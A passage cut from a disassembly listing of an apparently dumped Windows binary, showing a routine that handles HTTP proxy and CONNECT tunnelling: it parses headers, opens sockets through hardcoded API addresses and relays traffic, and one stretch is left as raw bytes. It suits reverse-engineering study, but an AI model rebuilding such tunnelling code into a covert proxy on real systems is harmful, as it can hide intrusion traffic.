		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_4298BA
		push	offset aConnect	; "connect"
		lea	ecx, [esp+0BCh]
		mov	byte ptr [esp+17h], 0
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esp+114h]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+174h]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 6
		call	sub_4016B8
		push	eax
		lea	ecx, [esp+0D1h]
		mov	byte ptr [esp+54A4h], 7
		call	sub_401FDC
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+54A0h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+27Ch]
		push	1
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+1A4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 8
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 9
		call	sub_4017EE
		test	eax, eax
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+54A0h], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A54F
		push	offset asc_444600 ; " "
		lea	edx, [esp+264h]
		push	1
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+1D4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 0Ah
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1D0h]
		mov	[esp+10Ch], eax
		mov	byte ptr [esp+54A0h], 0Ah
		call	sub_401226
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		mov	eax, [esp+10Ch]
		test	eax, eax
		jnz	short loc_4298BA
		mov	dword ptr [esp+10Ch], 50h


loc_4298BA:				; CODE XREF: ___:004296C0j
					; ___:0042970Cj ...
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	0
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+54A4h], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A53E
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h]
		push	2
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+64h]
		mov	byte ptr [esp+54A4h], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A52D
		lea	ecx, [esp+0CDh]
		push	ecx
		lea	ecx, [esp+8Ch]
		call	sub_4014D3
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+4498h]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+54A0h], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+4498h]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4471E4 ; "\r\n"


loc_429981:				; CODE XREF: ___:0042999Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4299A5
		test	cl, cl
		jz	short loc_4299A1
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4299A5
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429981


loc_4299A1:				; CODE XREF: ___:0042998Bj
		xor	eax, eax
		jmp	short loc_4299A9
; ---------------------------------------------------------------------------


loc_4299A5:				; CODE XREF: ___:00429987j
					; ___:00429995j
		sbb	eax, eax
		sbb	eax, ebx


loc_4299A9:				; CODE XREF: ___:004299A3j
		test	eax, eax
		jz	loc_429A83
		mov	edi, dword_511AD8


loc_4299B7:				; CODE XREF: ___:00429A7Dj
		mov	esi, offset byte_448F30
		lea	eax, [esp+4498h]


loc_4299C3:				; CODE XREF: ___:004299E1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4299E7
		test	cl, cl
		jz	short loc_4299E3
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4299E7
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_4299C3


loc_4299E3:				; CODE XREF: ___:004299CDj
		xor	eax, eax
		jmp	short loc_4299EB
; ---------------------------------------------------------------------------


loc_4299E7:				; CODE XREF: ___:004299C9j
					; ___:004299D7j
		sbb	eax, eax
		sbb	eax, ebx


loc_4299EB:				; CODE XREF: ___:004299E5j
		test	eax, eax
		jz	loc_429A83
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+449Ch]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A589
		lea	edx, [esp+4498h]
		push	4000h
		lea	eax, [esp+49Ch]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+4A8h]
		push	offset asc_4471E4 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+4498h]


loc_429A53:				; CODE XREF: ___:00429A71j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A77
		test	cl, cl
		jz	short loc_429A73
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A77
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A53


loc_429A73:				; CODE XREF: ___:00429A5Dj
		xor	eax, eax
		jmp	short loc_429A7B
; ---------------------------------------------------------------------------


loc_429A77:				; CODE XREF: ___:00429A59j
					; ___:00429A67j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A7B:				; CODE XREF: ___:00429A75j
		test	eax, eax
		jnz	loc_4299B7


loc_429A83:				; CODE XREF: ___:004299ABj
					; ___:004299EDj
		mov	esi, dword_511B04
		lea	eax, [esp+498h]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_429AD7
		push	offset asc_444C64 ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_429AD7
		cmp	byte ptr [eax],	20h
		jnz	short loc_429ABB


loc_429AB2:				; CODE XREF: ___:00429AB9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_429AB2


loc_429ABB:				; CODE XREF: ___:00429AB0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_429AD7
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_429ADE
; ---------------------------------------------------------------------------


loc_429AD7:				; CODE XREF: ___:00429A9Dj
					; ___:00429AABj ...
		mov	byte ptr [ebp+0BAh], 0


loc_429ADE:				; CODE XREF: ___:00429AD5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_429B76
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42A65D
		mov	edx, [esp+10Ch]
		xor	ecx, ecx
		mov	[esp+78h], ecx
		push	edx
		mov	[esp+80h], ecx
		mov	word ptr [esp+7Ch], 2
		mov	[esp+84h], ecx
		mov	[esp+88h], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0CDh]
		mov	[esp+7Ah], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+7Ch], eax
		jz	loc_42A59B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+78h]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_42A5F8


loc_429B76:				; CODE XREF: ___:00429AE4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42A21E
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429BC1
		lea	edx, [esp+498h]
		lea	ecx, [esp+60h]
		push	edx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+24h]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_429BF4
; ---------------------------------------------------------------------------


loc_429BC1:				; CODE XREF: ___:00429B8Aj
		lea	ecx, [esp+498h]
		push	ecx
		lea	ecx, [esp+64h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+24h]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_429BF4:				; CODE XREF: ___:00429BBFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A642
		cmp	eax, ebx
		jz	loc_42A642
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A66F
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_4471E4 ; "\r\n"
		mov	[esp+2Ch], ebx
		lea	eax, [esp+498h]


loc_429CBE:				; CODE XREF: ___:00429CDCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429CE2
		test	cl, cl
		jz	short loc_429CDE
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429CE2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429CBE


loc_429CDE:				; CODE XREF: ___:00429CC8j
		xor	eax, eax
		jmp	short loc_429CE7
; ---------------------------------------------------------------------------


loc_429CE2:				; CODE XREF: ___:00429CC4j
					; ___:00429CD2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429CE7:				; CODE XREF: ___:00429CE0j
		test	eax, eax
		jz	loc_42A069


loc_429CEF:				; CODE XREF: ___:0042A058j
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_429CFB:				; CODE XREF: ___:00429D1Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429D23
		test	cl, cl
		jz	short loc_429D1F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429D23
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429CFB


loc_429D1F:				; CODE XREF: ___:00429D07j
		xor	eax, eax
		jmp	short loc_429D28
; ---------------------------------------------------------------------------


loc_429D23:				; CODE XREF: ___:00429D03j
					; ___:00429D13j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429D28:				; CODE XREF: ___:00429D21j
		test	eax, eax
		jz	loc_42A065
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A060
		lea	edx, [esp+498h]
		lea	ecx, [esp+0A0h]
		push	edx
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	eax, [esp+204h]
		push	0
		push	eax
		lea	ecx, [esp+0ACh]
		mov	byte ptr [esp+54ACh], 0Fh
		call	sub_4016B8
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 10h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429E0A
		push	offset asc_444600 ; " "
		lea	ecx, [esp+144h]
		push	1
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 11h
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+140h]
		mov	[esp+2Ch], eax
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429E0A:				; CODE XREF: ___:00429DBCj
		push	offset asc_444600 ; " "
		lea	edx, [esp+15Ch]
		push	0
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 12h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429E99
		push	offset asc_444600 ; " "
		lea	eax, [esp+18Ch]
		push	1
		push	eax
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 13h
		call	sub_40150A
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429E99:				; CODE XREF: ___:00429E54j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+1BCh]
		push	0
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 14h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429F34
		push	offset asc_444600 ; " "
		lea	edx, [esp+1ECh]
		push	1
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 15h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	byte ptr [esp+11h]


loc_429F34:				; CODE XREF: ___:00429EE3j
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+498h]


loc_429F40:				; CODE XREF: ___:00429F62j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429F68
		test	cl, cl
		jz	short loc_429F64
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429F68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429F40


loc_429F64:				; CODE XREF: ___:00429F4Cj
		xor	eax, eax
		jmp	short loc_429F6D
; ---------------------------------------------------------------------------


loc_429F68:				; CODE XREF: ___:00429F48j
					; ___:00429F58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429F6D:				; CODE XREF: ___:00429F66j
		test	eax, eax
		jz	loc_42A009
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_429F81:				; CODE XREF: ___:00429FA3j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429FA9
		test	cl, cl
		jz	short loc_429FA5
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429FA9
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429F81


loc_429FA5:				; CODE XREF: ___:00429F8Dj
		xor	eax, eax
		jmp	short loc_429FAE
; ---------------------------------------------------------------------------


loc_429FA9:				; CODE XREF: ___:00429F89j
					; ___:00429F99j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429FAE:				; CODE XREF: ___:00429FA7j
		test	eax, eax
		jz	short loc_42A009
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A009:				; CODE XREF: ___:00429F6Fj
					; ___:00429FB0j
		lea	ecx, [esp+0A0h]
		mov	byte ptr [esp+54A0h], 0Eh
		call	sub_401226
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+498h]


loc_42A029:				; CODE XREF: ___:0042A04Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A051
		test	cl, cl
		jz	short loc_42A04D
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A051
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A029


loc_42A04D:				; CODE XREF: ___:0042A035j
		xor	eax, eax
		jmp	short loc_42A056
; ---------------------------------------------------------------------------


loc_42A051:				; CODE XREF: ___:0042A031j
					; ___:0042A041j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A056:				; CODE XREF: ___:0042A04Fj
		test	eax, eax
		jnz	loc_429CEF
		jmp	short loc_42A065
; ---------------------------------------------------------------------------


loc_42A060:				; CODE XREF: ___:00429D50j
		mov	byte ptr [esp+12h], 1


loc_42A065:				; CODE XREF: ___:00429D2Aj
					; ___:0042A05Ej
		mov	ebx, [esp+2Ch]


loc_42A069:				; CODE XREF: ___:00429CE9j
		mov	al, [esp+11h]
		push	0
		test	al, al
		jz	short loc_42A091
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_42A0AD
; ---------------------------------------------------------------------------


loc_42A091:				; CODE XREF: ___:0042A071j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_42A0AD:				; CODE XREF: ___:0042A08Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+4A0h]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_42A1DC
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_42A164


loc_42A113:				; CODE XREF: ___:0042A162j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_42A164
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A164
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A164
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+49Ch]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_42A113


loc_42A164:				; CODE XREF: ___:0042A111j
					; ___:0042A11Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_42A1AE


loc_42A16A:				; CODE XREF: ___:0042A1ACj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A1AE
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A1AE
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+49Ch]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_42A16A


loc_42A1AE:				; CODE XREF: ___:0042A168j
					; ___:0042A187j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42A43F
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	byte ptr [esp+12h], 1
		mov	[ebp+0BBh], esi
		jmp	loc_42A442
; ---------------------------------------------------------------------------


loc_42A1DC:				; CODE XREF: ___:0042A107j
		mov	esi, dword_511CA4


loc_42A1E2:				; CODE XREF: ___:0042A21Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_42A1AE
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A1AE
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_42A1E2
; ---------------------------------------------------------------------------


loc_42A21E:				; CODE XREF: ___:00429B7Cj
		lea	ecx, [esp+14h]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_42A6E2
		cmp	eax, ebx
		jz	loc_42A6E2
		mov	ebx, dword_511CA4
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+294h], eax
		mov	dword ptr [esp+290h], 1
		xor	eax, eax
		lea	ecx, [esp+294h]


loc_42A290:				; CODE XREF: ___:0042A29Bj
		cmp	[ecx], edx
		jz	short loc_42A29D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A290


loc_42A29D:				; CODE XREF: ___:0042A292j
		cmp	eax, 1
		jnz	short loc_42A2B4
		mov	[esp+298h], edx
		mov	dword ptr [esp+290h], 2


loc_42A2B4:				; CODE XREF: ___:0042A2A0j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+298h]
		push	eax
		push	ecx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+290h]
		push	edx
		push	eax
		call	sub_438256
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 63E89051h, 8371689Fh,	840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DF12h, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689F09E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F11EE890h, 333D7168h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 68F0CBE8h, 333D9071h
		dd 75000027h, 0E8016A0Dh, 23F5E49h, 0FE43E990h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42A43F:				; CODE XREF: ___:0042A1B6j
		or	esi, 0FFFFFFFFh


loc_42A442:				; CODE XREF: ___:0042A1D7j
		mov	al, [esp+11h]
		test	al, al
		jnz	short loc_42A462
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+12h], 1


loc_42A462:				; CODE XREF: ___:0042A448j
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		or	esi, 0FFFFFFFFh


loc_42A4D0:				; CODE XREF: ___:004295FBj
		mov	al, [esp+12h]
		test	al, al
		jz	loc_429548


loc_42A4DC:				; CODE XREF: ___:0042A584j
					; ___:0042A6DDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_42A4F9
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_42A4F9:				; CODE XREF: ___:0042A4E4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_42A514
		mov	ecx, [ebp+0BFh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BFh], esi


loc_42A514:				; CODE XREF: ___:0042A4FFj
					; ___:0042A765j
		mov	ecx, [esp+5498h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42A52D:				; CODE XREF: ___:0042991Aj
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226


loc_42A53E:				; CODE XREF: ___:004298E7j
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226


loc_42A54F:				; CODE XREF: ___:004296A1j
					; ___:004296BAj ...
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226


loc_42A560:				; CODE XREF: ___:00429595j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A4DC
; ---------------------------------------------------------------------------


loc_42A589:				; CODE XREF: ___:00429A13j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A6FA
; ---------------------------------------------------------------------------


loc_42A59B:				; CODE XREF: ___:00429B54j
		lea	ecx, [esp+0CDh]
		call	sub_4017EE
		push	eax
